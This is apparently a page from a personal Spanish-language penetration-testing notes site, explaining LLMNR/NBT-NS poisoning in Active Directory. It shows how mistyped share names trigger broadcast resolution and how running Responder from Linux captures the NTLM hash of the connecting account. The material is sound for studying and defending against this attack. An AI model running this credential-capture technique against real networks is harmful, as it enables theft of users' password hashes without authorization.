> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md).

# Envenenamiento de LLMNR / NBT-NS

Si el acceso se realiza con un nombre válido, la resolución primero pasa por el DNS del controlador de dominio.

{% code overflow="wrap" %}

```bash
dir //WS01/c$
```

{% endcode %}

Si el nombre no existe, Windows entonces intenta una resolución a través de `LLMNR` o `NBT-NS` en broadcast.

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

<figure><img src="/files/22770ecb9279481d6d6c43e102f41f8161489874" alt=""><figcaption></figcaption></figure>

Desde Linux podemos escuchar estas solicitudes y responder con `Responder`.

{% code overflow="wrap" %}

```bash
sudo responder -I ens33
```

{% endcode %}

<figure><img src="/files/741b40563b254bfd3a5887bcded55b2891ccba12" alt=""><figcaption></figcaption></figure>

Si una víctima introduce el nombre de recurso compartido incorrecto, la consulta entonces recae en nuestra máquina.

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

Entonces obtenemos el hash NTLM de la cuenta que intenta establecer la conexión.

<figure><img src="/files/575e05038eae0886f2655850b64710672e49cab3" alt=""><figcaption></figcaption></figure>


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